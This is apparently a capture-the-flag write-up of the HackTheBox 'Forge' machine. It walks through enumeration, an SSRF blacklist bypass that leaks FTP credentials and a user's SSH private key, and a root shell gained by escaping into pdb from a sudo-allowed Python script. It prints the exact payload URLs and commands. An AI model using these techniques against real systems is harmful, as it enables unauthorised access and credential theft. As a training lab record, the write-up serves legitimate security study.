Home Forge writeup
Post
Cancel
Preview Image

Forge writeup

Summary

This was an interesting box, which is centered around a SSRF vulnerability being exploited into reading otherwise unaccessible web pages. Once a foothold has been established however, it is rather straight forward to obtain a root shell.

Foothold

We start out as usual with a nmap port scan.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
Starting Nmap 7.91 ( https://nmap.org ) at 2021-11-07 09:15 EST
Nmap scan report for 10.129.252.106
Host is up (0.050s latency).
Not shown: 997 closed ports
PORT   STATE    SERVICE VERSION
21/tcp filtered ftp
22/tcp open     ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 4f:78:65:66:29:e4:87:6b:3c:cc:b4:3a:d2:57:20:ac (RSA)
|   256 79:df:3a:f1:fe:87:4a:57:b0:fd:4e:d0:54:c6:28:d9 (ECDSA)
|_  256 b0:58:11:40:6d:8c:bd:c5:72:aa:83:08:c5:51:fb:33 (ED25519)
80/tcp open     http    Apache httpd 2.4.41
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Did not follow redirect to http://forge.htb
Service Info: Host: 10.129.252.106; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.07 seconds

We have 3 ports open. 21 which is hosting a filtered ftp service, along with port 22 and 80. It is usually a good idea to check for vhosts via gobuster as well when a box is hosting a web application.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
┌──(bitis㉿workstation)-[~/htb/Machines/Forge]
└─$ gobuster vhost -u forge.htb -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -r
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:          http://forge.htb
[+] Method:       GET
[+] Threads:      10
[+] Wordlist:     /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-110000.txt
[+] User Agent:   gobuster/3.1.0
[+] Timeout:      10s
===============================================================
2022/06/22 22:35:28 Starting gobuster in VHOST enumeration mode
===============================================================
Found: admin.forge.htb (Status: 200) [Size: 27]

We have found another vhost. Let’s add it to the host file and check out both sites. The welcome pain for forge.htb

The page for admin.forge.htb

The admin page only allows us to access it via localhost. Checking out the upload tab for the main site we see that we can upload images from an url.

The upload tab

If attempt to upload an image hosted at http://admin.forge.htb we get told the adress is blacklisted.

However, internet adresses are only case sensitive for anything after the domain name, meaning if we submit the url http://ADMIN.FORGE.HTB it will point towards the same site. Doing this successfully sidesteps the blacklist. Successfully received an image of the admin.forge.htb page If we follow the link we get told the image can’t be displayed since it contains errors. Using curl to get the address instead gives us the HTML code for the admin page.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
┌──(bitis㉿workstation)-[~/htb/Machines/Forge]
└─$ curl http://forge.htb/uploads/nLqwXj3lfwRHmcIyKutx
<!DOCTYPE html>
<html>
<head>
    <title>Admin Portal</title>
</head>
<body>
    <link rel="stylesheet" type="text/css" href="/static/css/main.css">
    <header>
            <nav>
                <h1 class=""><a href="/">Portal home</a></h1>
                <h1 class="align-right margin-right"><a href="/announcements">Announcements</a></h1>
                <h1 class="align-right"><a href="/upload">Upload image</a></h1>
            </nav>
    </header>
    <br><br><br><br>
    <br><br><br><br>
    <center><h1>Welcome Admins!</h1></center>
</body>
</html>                  

As we can tell, the page also contains an announcement directory. Let’s take a look through the same functionality.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
┌──(bitis㉿workstation)-[~/htb/Machines/Forge]
└─$ curl http://forge.htb/uploads/QEHi5NlzSVWCFpcAqGbc
<!DOCTYPE html>
<html>
<head>
    <title>Announcements</title>
</head>
<body>
    <link rel="stylesheet" type="text/css" href="/static/css/main.css">
    <link rel="stylesheet" type="text/css" href="/static/css/announcements.css">
    <header>
            <nav>
                <h1 class=""><a href="/">Portal home</a></h1>
                <h1 class="align-right margin-right"><a href="/announcements">Announcements</a></h1>
                <h1 class="align-right"><a href="/upload">Upload image</a></h1>
            </nav>
    </header>
    <br><br><br>
    <ul>
        <li>An internal ftp server has been setup with credentials as user:heightofsecurity123!</li>
        <li>The /upload endpoint now supports ftp, ftps, http and https protocols for uploading from url.</li>
        <li>The /upload endpoint has been configured for easy scripting of uploads, and for uploading an image, one can simply pass a url with ?u=&lt;url&gt;.</li>
    </ul>
</body>
</html>                                                     

We now have credentials for the ftp service, however we can’t use them to login since the port is filtered. However, ftp services can also be accessed through most browsers with the format ftp://FTP_Username:FTP_Password@Host. We can use the upload functionality described above to upload the contents of the ftp directory. However, if we attempt to to use the url http://ADMIN.FORGE.HTB/upload?u=ftp://user:heightofsecurity123!@127.0.0.1, we get told it contains a blacklisted adress, most likely 127.0.0.1. If we use another url like http://ADMIN.FORGE.HTB/upload?u=ftp://user:heightofsecurity123!@127.0.1.1 we get through though.

1
2
3
4
┌──(bitis㉿workstation)-[~/htb/Machines/Forge]
└─$ curl http://forge.htb/uploads/06EuoQwcl1WLefV037u5
drwxr-xr-x    3 1000     1000         4096 Aug 04  2021 snap
-rw-r-----    1 1000     1000           33 Jun 22 18:30 user.txt

We now have access to the user users home directory. To get a foothold on the system we can read the contents of their .ssh folder to get their ssh key.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
┌──(bitis㉿workstation)-[~/htb/Machines/Forge]
└─$ curl http://forge.htb/uploads/55nxaE6PJgCaI3jCd5kG
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAnZIO+Qywfgnftqo5as+orHW/w1WbrG6i6B7Tv2PdQ09NixOmtHR3
rnxHouv4/l1pO2njPf5GbjVHAsMwJDXmDNjaqZfO9OYC7K7hr7FV6xlUWThwcKo0hIOVuE
7Jh1d+jfpDYYXqON5r6DzODI5WMwLKl9n5rbtFko3xaLewkHYTE2YY3uvVppxsnCvJ/6uk
r6p7bzcRygYrTyEAWg5gORfsqhC3HaoOxXiXgGzTWyXtf2o4zmNhstfdgWWBpEfbgFgZ3D
WJ+u2z/VObp0IIKEfsgX+cWXQUt8RJAnKgTUjGAmfNRL9nJxomYHlySQz2xL4UYXXzXr8G
mL6X0+nKrRglaNFdC0ykLTGsiGs1+bc6jJiD1ESiebAS/ZLATTsaH46IE/vv9XOJ05qEXR
...
wS5q+66leUP0KZrDdow0s77QD+86dDjoq4fMRLl4yPfWOsxEkg90rvOr3Z9ga1jPCSFNAb
RVFD+gXCAOBF+afizL3fm40cHECsUifh24QqUSJ5f/xZBKu04Ypad8nH9nlkRdfOuh2jQb
nR7k4+Pryk8HqgNS3/g1/Fpd52DDziDOAIfORntwkuiQSlg63hF3vadCAV3KIVLtBONXH2
shlLupso7WoS0AAAAKdXNlckBmb3JnZQE=
-----END OPENSSH PRIVATE KEY-----

We can now login on the forge machine.

1
2
3
4
5
6
7
8
┌──(bitis㉿workstation)-[~/htb/Machines/Forge]
└─$ ssh -i user_sshkey user@forge.htb         
The authenticity of host 'forge.htb (10.129.84.126)' can't be established.
ED25519 key fingerprint is SHA256:ezqn5XF0Y3fAiyCDw46VNabU1GKFK0kgYALpeaUmr+o.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
...
user@forge:~$ 

Privilege escalation

Once in, we can run sudo -l, which reveals that we can run a python script as root.

1
2
3
4
5
6
user@forge:~$ sudo -l
Matching Defaults entries for user on forge:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User user may run the following commands on forge:
    (ALL : ALL) NOPASSWD: /usr/bin/python3 /opt/remote-manage.py

The content of the script can be found below.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
#!/usr/bin/env python3
import socket
import random
import subprocess
import pdb

port = random.randint(1025, 65535)

try:
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    sock.bind(('127.0.0.1', port))
    sock.listen(1)
    print(f'Listening on localhost:{port}')
    (clientsock, addr) = sock.accept()
    clientsock.send(b'Enter the secret passsword: ')
    if clientsock.recv(1024).strip().decode() != 'secretadminpassword':
        clientsock.send(b'Wrong password!\n')
    else:
        clientsock.send(b'Welcome admin!\n')
        while True:
            clientsock.send(b'\nWhat do you wanna do: \n')
            clientsock.send(b'[1] View processes\n')
            clientsock.send(b'[2] View free memory\n')
            clientsock.send(b'[3] View listening sockets\n')
            clientsock.send(b'[4] Quit\n')
            option = int(clientsock.recv(1024).strip())
            if option == 1:
                clientsock.send(subprocess.getoutput('ps aux').encode())
            elif option == 2:
                clientsock.send(subprocess.getoutput('df').encode())
            elif option == 3:
                clientsock.send(subprocess.getoutput('ss -lnt').encode())
            elif option == 4:
                clientsock.send(b'Bye\n')
                break
except Exception as e:
    print(e)
    pdb.post_mortem(e.__traceback__)
finally:
    quit()

The creates a listener on a random local port in the range 1025-65535. Once connected we will be prompted for an admin password which is luckily hardcoded into the script in plaintext. If we give it an input it doesn’t expect it will drop us into a python debugger shell. We can then use the techniques outlinede here to escalate our privileges. The output can be seen below

1
2
user@forge:~$ sudo /usr/bin/python3 /opt/remote-manage.py 
Listening on localhost:59884
1
2
3
4
5
6
7
8
9
user@forge:~$ nc localhost 59884
Enter the secret passsword: secretadminpassword
Welcome admin!

What do you wanna do: 
[1] View processes
[2] View free memory
[3] View listening sockets
[4] Quit

If we enter some nonsense input in our netcat listener the pdb shell will open on in the session running the script:

1
2
3
4
5
6
7
8
9
10
11
user@forge:~$ nc localhost 59884
Enter the secret passsword: secretadminpassword
Welcome admin!

What do you wanna do: 
[1] View processes
[2] View free memory
[3] View listening sockets
[4] Quit
shubiduah

1
2
3
4
5
6
7
8
user@forge:~$ sudo /usr/bin/python3 /opt/remote-manage.py 
Listening on localhost:59884
invalid literal for int() with base 10: b'fagepn'
> /opt/remote-manage.py(27)<module>()
-> option = int(clientsock.recv(1024).strip())
(Pdb) import os
(Pdb) os.system("/bin/bash")
root@forge:/home/user# 

Rooted!

This post is licensed under CC BY 4.0 by the author.